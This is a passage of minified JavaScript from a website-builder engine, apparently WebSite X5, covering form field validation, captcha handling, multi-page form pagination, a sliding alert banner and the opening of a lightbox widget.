k=function(){i.unbind("mouseleave");go=!0;setTimeout(function(){i.bind("mouseleave",k);i.width(parseInt(a/4));i.height(parseInt(a/4));j.css("left",parseInt(a/4-a));i.html(i.html());j=_jq("#imWebSiteX5AdvObj")},800)};i.bind("mouseleave",k);i.bind("mouseenter",function(){i.width(a);i.height(a);j.css("left",0)})}i.css({zIndex:x5engine.settings.zIndex.splashBox})},imSetSize:function(a,b,d){0==b?(d&&_jq("#"+a).html(_jq("#"+a).html()),_jq("#"+a).width(parseInt(x5engine.imAdv.width/4)),_jq("#"+a).height(parseInt(x5engine.imAdv.height/ 4)),_jq("#"+a+"Obj").css("left",parseInt(x5engine.imAdv.width/4-x5engine.imAdv.width))):(_jq("#"+a).width(x5engine.imAdv.width),_jq("#"+a).height(x5engine.imAdv.height),_jq("#"+a+"Obj").css("left",0))}},imForm:{constants:{mark:"imFormMark"},initForm:function(a,b,d){b=b||!1;null==d&&(d={base:""});_jq(a).find("label").wrapInner("<span>");_jq(a).append('<input type="hidden" value="jsactive" name="imJsCheck" />');_jq(a).find("img").each(function(){_jq(this).bind("mouseover",function(){x5engine.imTip.Show(_jq(this), {position:"top"})})});b&&_jq(a).find(":input").each(function(){0<_jq("#"+_jq(this).attr("id")+"_tip").length&&_jq(this).bind("focus click",function(){_jq(this).one("blur",function(){_jq("#"+_jq(this).attr("id")+"_tip").triggerHandler("mouseout")})})});_jq(a).find("[class*=datePicker]").each(function(){_jq(this).attr("class").match(/datePicker\[(.*),([\d]{1})\]/);""!=RegExp.$1&&""!=RegExp.$2&&x5engine.imDatePicker(_jq(this),{format:RegExp.$1.toString(),icon:1==parseInt(RegExp.$2)?!0:!1})});_jq("[class*=valMaxLength], [class*=valLength]").each(function(){_jq(this).attr("class").match(/Length\[([0-9]+)\]/g); var a=RegExp.$1;_jq(this).keyup(function(){_jq(this).val(_jq(this).val().substring(0,a))})});_jq("[class*=valNumber]").keypress(function(a){a=a.charCode?a.charCode:a.keyCode;return 8==a||37==a||39==a||46==a?!0:/^[0-9]+$/g.test(_jq(this).val()+String.fromCharCode(a))});_jq("[class*=valDate]").keypress(function(a){a=a.charCode?a.charCode:a.keyCode;return 8==a||37==a||39==a||46==a?!0:/^[0-9\/\.]+$/g.test(_jq(this).val()+String.fromCharCode(a))});_jq("[class*=valTelephone]").keypress(function(a){a=a.charCode? a.charCode:a.keyCode;return 8==a||37==a||39==a||46==a?!0:/^[0-9\s\-\(\)]+$/g.test(_jq(this).val()+String.fromCharCode(a))});x5engine.imForm.showFiles(a);x5engine.imForm.setPagination(a,d);x5engine.imForm.lockCopyPaste(a);x5engine.utils.switchFocus(a);x5engine.imForm.showCaptcha(a);x5engine.imForm.setLabels(a,d);/Chrome/.test(navigator.userAgent)||/MSIE 8/.test(navigator.userAgent)||/MSIE 9/.test(navigator.userAgent)||/MSIE 10/.test(navigator.userAgent)?(b={"padding-left":7,"padding-right":7},_jq(a).find("input[type=button], input[type=submit], input[type=reset]").css(b)): /Firefox/.test(navigator.userAgent)&&(b={"padding-left":4,"padding-right":4,"padding-bottom":0<_jq(a).find(".imFormButtonWrapper").length?4:2},_jq(a).find("input[type=button], input[type=submit], input[type=reset]").css(b));_jq(a).find("input[type=reset]").click(function(){_jq("[tiptarget]").remove();_jq(a).find("."+x5engine.imForm.constants.mark).removeClass(x5engine.imForm.constants.mark);_jq(a).find("."+x5engine.imTip.constants.locked).removeClass(x5engine.imTip.constants.locked);_jq(a).find("[class*=datePicker]").val("").attr("value", "");return!0})},showFiles:function(a){/Chrome/.test(navigator.userAgent)&&_jq("input[type=file]").css({height:_jq(a).find("input[type=text]").innerHeight(),padding:0})},setLabels:function(a,b){_jq(a).find("input, textarea").not(":submit, :radio, :reset, :hidden, :button").each(function(){if(""!=_jq(this).val()&&!0!=_jq(this).prop("readonly")){var d,c,e=_jq(this);b=b||{};e.data("label",_jq(this).val());null!=b.labelColor&&e.css({color:b.labelColor});e.is("input[type=password]")&&(d=e.attr("id")+"_fake", e.data("password",!0),e.after('<input type="text" class="'+e.attr("class").replace(/mandatory/g,"").replace(/equalTo\[[^\]]+\]/g,"")+'" style="'+e.attr("style")+'" value="'+e.data("label")+'" id="'+d+'"/>').fadeOut(0),c=_jq("#"+d),e.attr("value",""),c.focus(function(){c.fadeOut(0);e.fadeIn(0);e.focus()}),_jq(a).find("input[type=reset]").click(function(){e.fadeOut(0);c.fadeIn(0);setTimeout(function(){e.attr("value","")},500)}));e.focus(function(){e.data("password")&&c.fadeOut(0);e.val()==_jq(this).data("label")&& (e.val(""),e.css({color:b.fieldColor}))});e.blur(function(){""==e.val()&&(e.data("password")&&(e.fadeOut(0),c.fadeIn(0)),e.val(e.data("label")),e.css({color:b.labelColor}))})}})},showCaptcha:function(a){var b="",d,c;_jq(a).find("[class*=imCpt]").not("iframe").each(function(){_jq(this).val("");var e="";if(/imCpt\[([0-9]+)\]/.test(_jq(this).attr("class"))){_jq(this).attr("class").match(/imCpt\[([0-9]+)\]/);var h=RegExp.$1||5;9<h&&(h=9)}else _jq(this).attr("class").match(/imCpt\[([0-9]+),\s*([^\]]+)\]/), h=RegExp.$1||5,9<h&&(h=9),e=RegExp.$2||"";_jq(this).attr("class").match(/imCpt\[\]/);for(d=0;d<h;d++){do c=parseInt(9*Math.random());while(-1<b.indexOf(c));b+=c}_jq("#"+_jq(this).attr("id")+"_imCptHdn").remove();if(x5engine.utils.isOnline())_jq(".imFrame\\["+_jq(this).attr("id")+"\\]").remove(),_jq(this).before('<input type="hidden" value="'+b+'" name="imCptHdn" id="'+_jq(this).attr("id")+'_imCptHdn"/>');else{_jq("#"+_jq(this).attr("id")+"_fakediv").remove();h='<div id="'+_jq(this).attr("id")+'_fakediv" style="font-size: 8pt; font-family: Tahoma; margin: 3px auto 2px auto; width: 120px; height: 24px; border: 1px solid #BBBBBB">';for(d=0;d<b.length;d++)h+='<img src="'+e+x5engine.settings.imCaptcha.offlineCodes[parseInt(b.charAt(d))].path+ '" />';h+='</div><input type="hidden" value="';for(d=0;d<b.length;d++)h+=x5engine.settings.imCaptcha.offlineCodes[parseInt(b.charAt(d))].letter;h+='" name="imCptHdn" id="'+_jq(this).attr("id")+'_imCptHdn"/>';_jq(this).before(h)}_jq("#imContent").change();_jq(a).find("input[type=reset]").click(function(){x5engine.imForm.showCaptcha(_jq(a))})})},checkCaptcha:function(a){var b=a.prev("#"+a.attr("id")+"_imCptHdn").val(),d=a.val(),c="",e=!1;/imCpt\[([0-9]+),\s*([^\]]+)\]/.test(a.attr("class"))&&(a.attr("class").match(/imCpt\[([0-9]+),\s*([^\]]+)\]/), c=RegExp.$2||"");x5engine.utils.isOnline()?_jq.ajax({url:c+"captcha/imcaptcha.php?action=check&code="+b+"&ans="+d,async:!1,cache:!1,success:function(a){"-1"!=a&&(e=!0)}}):d.toLowerCase()==b.toLowerCase()&&(e=!0);return e},setPagination:function(a,b){var d=0,b=b||{},c=b.type||"tip";showPage=function(b,c){c=c||400;_jq(a+"_next").attr("disabled",!1);_jq(a+"_prev").attr("disabled",!1);_jq("."+x5engine.imTip.constants.classId).remove();_jq("."+x5engine.imForm.constants.mark).removeClass(x5engine.imForm.constants.mark); 1==b?(_jq(a+"_prev").fadeOut(0),_jq(a+"_next").fadeIn(0),_jq(a+"_submit").fadeOut(0)):0==_jq(a).find("[pageCount="+(b+1)+"]").length?(_jq(a+"_prev").fadeIn(0),_jq(a+"_next").fadeOut(0),_jq(a+"_submit").fadeIn(0)):(_jq(a+"_prev").fadeIn(0),_jq(a+"_next").fadeIn(0));_jq(a).find("fieldset").each(function(){parseInt(_jq(this).attr("pageCount"))==b?_jq(this).children("div").not(".legend").animate({height:"show"},c):_jq(this).children("div").not(".legend").animate({height:"hide"},c)})};showNextPage=function(){var b= parseInt(_jq(a+"_pageCounter").val());!0==x5engine.imForm.validate(_jq("fieldset[pageCount="+b+"]"),{showAll:!0,paginate:!0,type:c})&&(b++,0<_jq(a).find("[pageCount="+b+"]").length?(showPage(b),_jq(a+"_pageCounter").attr("value",b)):_jq(a).submit())};showPrevPage=function(){var b=parseInt(_jq(a+"_pageCounter").val());b--;0<b&&(_jq(a+"_pageCounter").attr("value",b),showPage(b))};_jq(a).find("fieldset").each(function(){_jq(this).hasClass("newPage")?d++:0==d&&d++;_jq(this).attr("pageCount",d)});if(1< d){_jq(a).append('<input type="hidden" name="'+a.replace("#","")+'_pageCounter" id="'+a.replace("#","")+'_pageCounter" value="1" />');_jq(a).children("div:last").append('<input type="button" id="'+a.replace("#","")+'_prev" value="'+x5engine.l10n.getLocalization("cart_goback")+'"/>');_jq(a).children("div:last").append('<input type="button" id="'+a.replace("#","")+'_next" value="'+x5engine.l10n.getLocalization("cart_gonext")+'"/>');var e=_jq(a).find("input[type=submit]").attr("value");_jq(a).find("input[type=submit]").remove(); _jq(a).children("div:last").append('<input type="button" id="'+a.replace("#","")+'_submit" value="'+e+'"/>');e=_jq(a).find("input[type=reset]").attr("value");_jq(a).find("input[type=reset]").remove();_jq(a).children("div:last").append('<input type="button" id="'+a.replace("#","")+'_reset" value="'+e+'"/>');_jq(a).find(a+"_submit").fadeOut(0);_jq(a+"_prev").click(showPrevPage);_jq(a+"_next").click(showNextPage);showPage(1,1)}else e=_jq(a).find("input[type=submit]").attr("value"),_jq(a).find("input[type=submit]").after('<input type="button" id="'+ a.replace("#","")+'_submit" value="'+e+'"/>'),_jq(a).find("input[type=submit]").remove();_jq(a+"_reset").click(function(){_jq(a)[0].reset();showPage(1)});_jq(a+"_submit").click(function(){x5engine.imForm.submit(a,b)});_jq(a).submit(function(){x5engine.imForm.submit(a,b);return!1})},lockCopyPaste:function(a){_jq(a).find("input[class*=equalTo]").each(function(){for(var a=_jq(this).attr("class").split(" "),d=0;d<a.length;d++)if("equalTo"==a[d].substring(0,7)){var c=a[d].substring(8,a[d].length-1);_jq("#"+ c).bind("contextmenu cut copy paste",function(a){a.preventDefault();return!1})}});_jq(a).find("input[class*=equalTo]").bind("contextmenu cut copy paste",function(a){a.preventDefault();return!1})},validate:function(a,b){var d=!0,c=!1,e,b=b||{},h,g=_jq(a).attr("id");null==b&&(b={});b.type=b.type||"tip";b.showAll=b.showAll||!1;if("popup"==b.type||"alert"==b.type)b.showAll=!1;b.paginate=b.paginate||!1;_jq(a).find("*").removeClass(x5engine.imForm.constants.mark);var f=function(a,e){var f=function(){_jq(this).removeClass(x5engine.imForm.constants.mark); _jq("[tiptarget="+_jq(this).attr("id")+"]").remove()},g;g=_jq(a).is("input[type=radio]")?_jq(a).parent().parent().parent().find("label").html():_jq("label[for="+_jq(a).attr("id")+"] span").html();_jq(a).is("input[type=password]")&&!_jq(a).is(":visible")&&(null!=_jq(a).data("label")&&(g=_jq(a).data("label")),a=_jq("#"+_jq(a).attr("id")+"_fake"),_jq(a).unbind("focus",f).focus(f));_jq(a).addClass(x5engine.imForm.constants.mark);_jq(a).is(":radio")&&_jq(a).css("border","none");if(null!=e&&(!c||b.showAll))if(c= !0,f=x5engine.l10n.getLocalization(e),null==g&&(g=_jq(a).data("label")),null==g&&(g=""),null!=g){for(var h=!0;":"==g.charAt(g.length-1)||"*"==g.charAt(g.length-1)||" "==g.charAt(g.length-1);)g=g.substr(0,g.length-1);try{f=f.replace(/\[FIELD\]/g,"'"+g+"'")}catch(p){}switch(b.type){case "alert":alert(f);break;case "popup":(new x5engine.utils.Gui).showPopUp({text:f});break;default:_jq(a).attr("class").match(/datePicker\[(.*),([\d]{1})\]/)&&!1!=_jq(a).next("span").find("img.imDatePickerIcon").is("img")? g=_jq(a).next("span").find(".imDatePickerIcon"):_jq(a).is("input[type=radio]")?(_jq(a).click(function(){_jq(this).unbind("click");_jq("[tiptarget="+_jq(this).attr("id").substring(0,_jq(this).attr("id").lastIndexOf("_"))+"_target]").remove();_jq("label[for="+_jq(a).attr("id").substring(0,_jq(a).attr("id").lastIndexOf("_"))+"] span").removeClass(x5engine.imTip.constants.locked).attr("id","")}),g=_jq(a).parent().parent().parent(),g.attr("id",_jq(a).attr("id").substring(0,_jq(a).attr("id").lastIndexOf("_"))+ "_target"),0<_jq("[tiptarget="+_jq(a).attr("id").substring(0,_jq(a).attr("id").lastIndexOf("_"))+"_target]").length&&(g=null)):_jq(a).next("img").is("img")?(h=_jq(a),g=_jq(a).next("img")):_jq(a).nextAll("iframe.imFrame\\["+_jq(a).attr("id")+"\\]").is("iframe")?(h=_jq(a),g=_jq(a).nextAll("iframe.imFrame\\["+_jq(a).attr("id")+"\\]")):g=_jq(a),null!=g&&(g.removeClass(x5engine.imTip.constants.locked),x5engine.imTip.Show(g,{position:"right",text:f,unique:!1,classes:b.classes,persistant:!0,hideOnFocus:h}))}}d= !1};"tip"==b.type&&_jq("."+x5engine.imTip.constants.classId).remove();0<_jq(a).find("[type=submit]").length&&(e=_jq(a).find("[type=submit]").attr("value"),_jq(a).find("input[type=submit]").attr("disabled",!0).attr("value",x5engine.l10n.getLocalization("form_validating")));0<_jq(a).find(g+"_fakebutton2").length&&(h=_jq(a).find(id+"_fakebutton2").attr("value"),_jq(a).find(g+"_fakebutton2").attr("disabled",!0).attr("value",x5engine.l10n.getLocalization("form_validating")));(function(){_jq(a).find(".mandatory").not(":checkbox").not(":radio").each(function(){(""== _jq(this).val()||void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label"))&&f(this,"form_mandatory")});_jq(a).find(".mandatory:checkbox").each(function(){!1==this.checked&&f(this,"form_mandatory")});_jq(a).find(".mandatory:radio").each(function(){0==_jq(".mandatory[name="+_jq(this).attr("name")+"]:checked").length&&f(this,"form_mandatory")});_jq(a).find("[class*=equalTo]").each(function(){if(!(void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")))for(var a=_jq(this).attr("class").split(" "), b=0;b<a.length;b++)if("equalTo"==a[b].substring(0,7)){var c=a[b].substring(8,a[b].length-1);_jq(this).val()!=_jq("[name="+c+"]").val()&&f(this,"form_equal")}});_jq(a).find("[class*=valMinLength]").each(function(){if(!(void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")))for(var a=_jq(this).attr("class").split(" "),b=0;b<a.length;b++)if("valMinLength"==a[b].substring(0,12)){var c=parseInt(a[b].substring(13,a[b].length-1));_jq(this).val().length<c&&f(this,"form_length")}});_jq(a).find("[class*=valLength]").each(function(){if(!(void 0!= _jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")))for(var a=_jq(this).attr("class").split(" "),b=0;b<a.length;b++)if("valLength"==a[b].substring(0,9)){var c=parseInt(a[b].substring(10,a[b].length-1));_jq(this).val().length!=c&&f(this,"form_length")}});_jq(a).find(".valNumber").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\d*$/.test(_jq(this).val())&&f(this,"form_numbers")});_jq(a).find(".valChars").each(function(){void 0!= _jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\D*$/.test(_jq(this).val())&&f(this,"form_characters")});_jq(a).find(".valGenTelephone").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^[0-9\-\.\/\(\)\s]*$/.test(_jq(this).val())&&f(this,"form_telephone")});_jq(a).find(".valTelephone").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&& !1==/^[0-9 \-\.\/]*$/.test(_jq(this).val())&&f(this,"form_telephone")});_jq(a).find(".valUSTelephone").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\([1-9]\d{2}\)\s?\d{3}\-\d{4}$/.test(_jq(this).val())&&f(this,"form_telephone")});_jq(a).find(".valDate").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\d{1,2}(\-|\/|\.)\d{1,2}\1\d{2}$/.test(_jq(this).val())&& f(this,"form_date")});_jq(a).find(".valDate2").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\d{1,2}(\-|\/|\.)\d{1,2}\1\d{2,4}$/.test(_jq(this).val())&&f(this,"form_date")});_jq(a).find(".valUSDate").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^\d{1,2}(\-|\/|\.)\d{1,2}\1\d{4}$/.test(_jq(this).val())&&f(this,"form_date")});_jq(a).find("[class*=datePicker]").each(function(){_jq(this).attr("class").match(/datePicker\[(.*),([\d]{1})\]/); if(""!=_jq(this).val()&&""!=RegExp.$1&&""!=RegExp.$2){var a=RegExp.$1,a=a.replace(/\//g,"\\/"),a=a.replace(/\s/g,"\\s+"),a=a.replace(/\-/g,"\\-"),a=a.replace(/\./g,"\\."),a=a.replace(/\[dd\]/g,"\\d{1,2}"),a=a.replace(/\[mm\]/g,"\\d{1,2}"),a=a.replace(/\[yy\]/g,"\\d{2}"),a=a.replace(/\[yyyy\]/g,"\\d{4}"),a=a.replace(/\[DD\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),a=a.replace(/\[MM\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),a=a.replace(/\[D\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"), a=a.replace(/\[M\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+");RegExp("^"+a+"$").test(_jq(this).val())||f(this,"form_date")}});_jq(a).find("[class*=valCDate]").each(function(){if(!(void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")))for(var a=_jq(this).attr("class").split(" "),b=0;b<a.length;b++)if(""!=_jq(this).val()&&"valCDate"==a[b].substring(0,8)){var c=a[b].substring(9,a[b].length-1),c=c.replace(/\_/g,"\\s"),c=c.replace(/\//g,"\\/"),c=c.replace(/\-/g,"\\-"),c=c.replace(/\./g, "\\."),c=c.replace(/\[dd\]/g,"\\d{1,2}"),c=c.replace(/\[mm\]/g,"\\d{1,2}"),c=c.replace(/\[yy\]/g,"\\d{2}"),c=c.replace(/\[yyyy\]/g,"\\d{4}"),c=c.replace(/\[DD\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),c=c.replace(/\[MM\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),c=c.replace(/\[D\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),c=c.replace(/\[M\]/g,"[\\w\u00ec\u00f2\u00e0\u00f9\u00e8\u00e9']+"),c="^"+c+"$";RegExp(c).test(_jq(this).val())||f(this,"form_date")}});_jq(a).find(".valEmail").each(function(){void 0!= _jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||""!=_jq(this).val()&&!1==/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i.test(_jq(this).val())&&f(this,"form_email")});_jq(a).find(".valCF").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()== _jq(this).data("label")||(_jq(this).val(_jq(this).val().toUpperCase()),""!=_jq(this).val()&&!1==/^[A-Z]{6}\d{2}[A-Z]\d{2}[A-Z]\d{3}[A-Z]$/.test(_jq(this).val())&&!1==/^[0-9]+$/.test(_jq(this).val())&&f(this,"form_CF"))});_jq(a).find(".valURL").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||(_jq(this).val(_jq(this).val().toUpperCase()),""!=_jq(this).val()&&!1==/(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/.test(_jq(this).val())&& f(this,"form_URL"))});_jq(a).find(".valUSZIP").each(function(){void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")||(_jq(this).val(_jq(this).val().toUpperCase()),""!=_jq(this).val()&&!1==/(^\d{5}$)|(^\d{5}-\d{4}$)/.test(_jq(this).val())&&f(this,"form_format"))});_jq(a).find("[class*=valCustom]").each(function(){if(!(void 0!=_jq(this).data("label")&&_jq(this).val()==_jq(this).data("label")))for(var a=_jq(this).attr("class").split(" "),b=0;b<a.length;b++)if(""!=_jq(this).val()&& "valCustom"==a[b].substring(0,9)){for(var c=a[b].substring(10,a[b].length-1),d="",e=0;e<c.length;e++)switch(c.charAt(e)){case "N":d+="[0-9]{1}";break;case "F":d+="[0-9]{0,1}";break;case "A":d+="[a-zA-Z]{1}";break;case "Z":d+="[a-zA-Z]{0,1}";break;default:d=!1!="[]_\\(){}-.+*?".indexOf(c.charAt(e))?d+("\\"+c.charAt(e)):d+c.charAt(e)}d="^"+d+"$";c=RegExp(d);""!=_jq(this).val()&&""!=_jq(this).val()&&!1==c.test(_jq(this).val())&&f(this,"form_format")}});_jq(a).find("[class*=valVAT]").each(function(){return!0}); _jq(a).find("input.valDisclaimer").each(function(){this.checked||f(_jq(this),"form_err_disclaimer")});_jq(a).find("[class*=imCpt]").not("iframe").each(function(){x5engine.imForm.checkCaptcha(_jq(this))||(x5engine.imForm.showCaptcha(a),f(_jq(this),"form_captcha"))});_jq(a).find("input[type=submit]").attr("disabled",!1).attr("value",e);_jq(a).find(g+"_fakebutton2").attr("disabled",!1).attr("value",h);_jq(a).find("[class*=valQuestion]").each(function(){if(!(void 0!=_jq(this).data("label")&&_jq(this).val()== _jq(this).data("label"))){var b=_jq(this).attr("class"),c=_jq(a).attr("action");b.match(/valQuestion\[([A-Za-z0-9]+)\]/);if(x5engine.utils.isOnline()){if(""!=RegExp.$1){var d=_jq(this);_jq.ajax({type:"POST",url:c,data:{action:"check_answer",id:RegExp.$1,answer:d.val()},async:!1,cache:!1,success:function(a){"0"===a&&f(_jq(d),"form_question")}})}}else _jq("#"+_jq(this).attr("id")+"_offlineanswer").val().replace(/\"/g,"'").replace(/\</g,"&lt;").replace(/\>/g,"&gt;")!=_jq(this).val().replace(/\"/g,"'").replace(/\</g, "&lt;").replace(/\>/g,"&gt;")&&f(_jq(this),"form_question")}})})();return d},submit:function(a,b){x5engine.imForm.validate(a,b)&&(x5engine.utils.isOnline()?(_jq(a).unbind("submit"),_jq(a).submit()):x5engine.utils.showOfflineMessage(b.offlineMessage))}},imAlertBox:function(a){a=a||{};a.link=a.link||x5engine.settings.imAlertBox.link;if(null==a.cookie)a.cookie=x5engine.settings.imAlertBox.cookie;a.position=a.position||x5engine.settings.imAlertBox.position;a.image=a.image||x5engine.settings.imAlertBox.image; a.sound=a.sound||x5engine.settings.imAlertBox.sound;var b='<div id="imAlertBox"><div style="text-align: center; overflow: hidden;" class="imgContainer"><a href="'+a.link+'"><img class="imAdvTarget"/></a></div><div class="closeAlBox"><img src="res/imClose.png" style="width: 20px;" /></div></div>',d=function(){_jq("#imAlertBox_fake").height(_jq("#imAlertBox").outerHeight())};a.position=a.position||x5engine.settings.imAlertBox.position;a.sound=a.sound||x5engine.settings.imAlertBox.sound;a.image=a.image|| x5engine.settings.imAlertBox.image;if(a.cookie&&"true"==_jq.imCookie("im_alert")&&x5engine.utils.isOnline())return!1;if("top"==a.position){_jq("body").prepend(b);var c=_jq("#imAlertBox");null!=c&&(c.slideUp(0),c.addClass("alertBox"),b=function(){x5engine.utils.imSoundLink.Stop();c.slideUp(500,function(){c.remove()});_jq("#imAlertBox_fake").slideUp(500)},_jq("#imAlertBox img.imAdvTarget").load(function(){_jq("body").prepend('<div id="imAlertBox_fake"></div>');d();_jq("#imAlertBox_fake").slideUp(0); _jq("#imAlertBox_fake").css({position:"relative",right:0,left:0,top:0});_jq(this).unbind("load");_jq("#imAlertBox").css({position:"absolute",right:0,left:0,top:0,zIndex:x5engine.settings.zIndex.splashBox,"border-top-width":0});""!=a.sound&&null!=a.sound&&x5engine.utils.imSoundLink.Play(a.sound);_jq("#imAlertBox_fake").slideDown(500);c.slideDown(500);a.cookie&&_jq.imCookie("im_alert","true",{expires:0,path:"/"})}),_jq("#imAlertBox img.imAdvTarget").mouseenter(function(){_jq("#imAlertBox img.imAdvTarget").attr("src", a.image);_jq("#imAlertBox img.imAdvTarget").mouseleave(function(){_jq("#imAlertBox img.imAdvTarget").attr("src",a.image);_jq("#imAlertBox img.imAdvTarget").unbind("mouseleave")})}),_jq("#imAlertBox img.imAdvTarget").attr("src",a.image),_jq(".closeAlBox").click(b),null!=a.callback&&(_jq("#imAlertBox .boxText").css("cursor","pointer"),_jq("#imAlertBox .boxText").click(a.callback)),_jq(window).unbind("resize",d).resize(d))}else if(_jq("body").append(b),c=_jq("#imAlertBox"),null!=c){c.addClass("alertBox"); c.css({position:"fixed",bottom:-1E3,left:0,right:0,zIndex:x5engine.settings.zIndex.splashBox+1});var b=function(){x5engine.utils.imSoundLink.Stop();c.animate({bottom:-_jq("#imAlertBox img").outerHeight(),height:_jq("#imAlertBox img").outerHeight()},{duration:500,complete:function(){c.remove()}})},e=function(){_jq("#imAlertBox img.imAdvTarget").unbind("load");_jq("#imAlertBox img.imAdvTarget").load(function(){_jq("#imAlertBox .imgContainer").animate({height:_jq("#imAlertBox img.imAdvTarget").outerHeight()}); c.animate({height:_jq("#imAlertBox img.imAdvTarget").outerHeight()});_jq("#imAlertBox img.imAdvTarget").mouseleave(h)});_jq("#imAlertBox img.imAdvTarget").attr("src",a.img_big)},h=function(){_jq("#imAlertBox img.imAdvTarget").unbind("load");_jq("#imAlertBox img.imAdvTarget").attr("src",a.image);_jq("#imAlertBox .imgContainer").animate({height:_jq("#imAlertBox img.imAdvTarget").outerHeight()});c.animate({height:_jq("#imAlertBox img.imAdvTarget").outerHeight()});_jq("#imAlertBox img.imAdvTarget").unbind("mouseleave")}; _jq("#imAlertBox img.imAdvTarget").load(function(){_jq(this).unbind("load");""!=a.sound&&null!=a.sound&&x5engine.utils.imSoundLink.Play(a.sound);c.css({bottom:-_jq("#imAlertBox img").outerHeight(),"border-bottom-width":0});_jq("#imAlertBox .imgContainer").css({height:_jq("#imAlertBox img.imAdvTarget").outerHeight()});c.stop(!0,!0);c.animate({bottom:0,height:_jq("#imAlertBox img.imAdvTarget").outerHeight()},{duration:500});a.cookie&&_jq.imCookie("im_alert","true",{expires:0})});""!=a.img_big&&_jq("#imAlertBox img.imAdvTarget").mouseenter(e); _jq("#imAlertBox img.imAdvTarget").attr("src",a.image);_jq(".closeAlBox").click(b);null!=a.callback&&(_jq("#imAlertBox .boxText").css("cursor","pointer"),_jq("#imAlertBox .boxText").click(a.callback))}},imShowBox:{_create:function(a,b,d){var c=b||0,e=a.loadingImg||"imLoad.gif",h=a.closeImg||"imClose.png",g="none"==a.effect?0:350,f=a.opacity,i,j=!1,k=null,o=!1,l=function(){_jq("#imSB").css("backgroundImage","url('"+e+"')")},p=function(){_jq("#imSB").css("background-image","url('')")},q=function(b){var c= g,d=a.background||"black";if("none"==d||"transparent"==d)f=0.01,d="#ffffff";null!=_jq("#imSB").width()?_jq("#imSB").before('<div id="imSBBG">&nbsp;</div>'):_jq("body").append('<div id="imSBBG">&nbsp;</div>');"none"==a.effect&&(c=0);_jq("#imSBBG").fadeOut(0);_jq("#imSBBG").css({backgroundColor:d,position:"fixed",top:0,left:0,zIndex:x5engine.settings.zIndex.showBox,width:_jq(window).width(),height:_jq(window).height()});a.radialBg&&(/Firefox/.test(navigator.userAgent)?_jq("#imSBBG").css({"background-image":"-moz-radial-gradient(center 45deg, ellipse farthest-corner, "+ x5engine.utils.hex2rgb(d,80,80,80)+" 0%, "+x5engine.utils.hex2rgb(d,40,40,40)+" 40%, "+x5engine.utils.hex2rgb(d)+" 100%)"}):/Chrome/.test(navigator.userAgent)&&_jq("#imSBBG").css({background:"-webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from("+x5engine.utils.hex2rgb(d,80,80,80)+"), to("+x5engine.utils.hex2rgb(d)+"))"}));_jq("#imSBBG").fadeTo(c,f,function(){null!=b&&b();_jq("#imSBBG").click(r);_jq("#imSBBG").mousemove(function(){o=!1})})},r=function(){p();!1==/MSIE 7/.test(navigator.userAgent)&& (_jq("#imSB").css("box-shadow",""),_jq("#imSB").css("-webkit-box-shadow",""),_jq("#imSB").css("-moz-box-shadow",""));_jq("#imClose").remove();_jq("#imDes").remove();_jq("#imNext").remove();_jq("#imPrev").remove();_jq(document).unbind("keydown",w);"img"!=a.media[c].type&&_jq("#imSBmedia").empty();if("fade"==a.effect||"none"==a.effect)_jq("#imSB").fadeOut(g,function(){_jq("#imSBBG").remove();_jq("#imSB").remove()});else if("move"==a.effect)_jq("#imSB").animate({top:-_jq("#imSB").height()-100},g/2,null, function(){_jq("#imSBBG").remove();_jq("#imSB").remove()});else if("zoom"==a.effect||"hide"==a.effect)if(j)_jq("#imSB").fadeOut(g),_jq("#imSBmedia").fadeOut(g,function(){_jq("#imSBBG").remove();_jq("#imSB").remove()}),"visible"!=_jq(d).css("visibility")&&_jq(d).fadeOut(1,function(){_jq(d).css("visibility","visible");_jq(d).fadeIn(g)});else{var b=_jq(d).offset();b.left-=_jq(window).scrollLeft();b.top-=_jq(window).scrollTop();_jq("#imSBmedia img, #imSBmedia").css("width","100%");if("img"==a.media[c].type){var e= 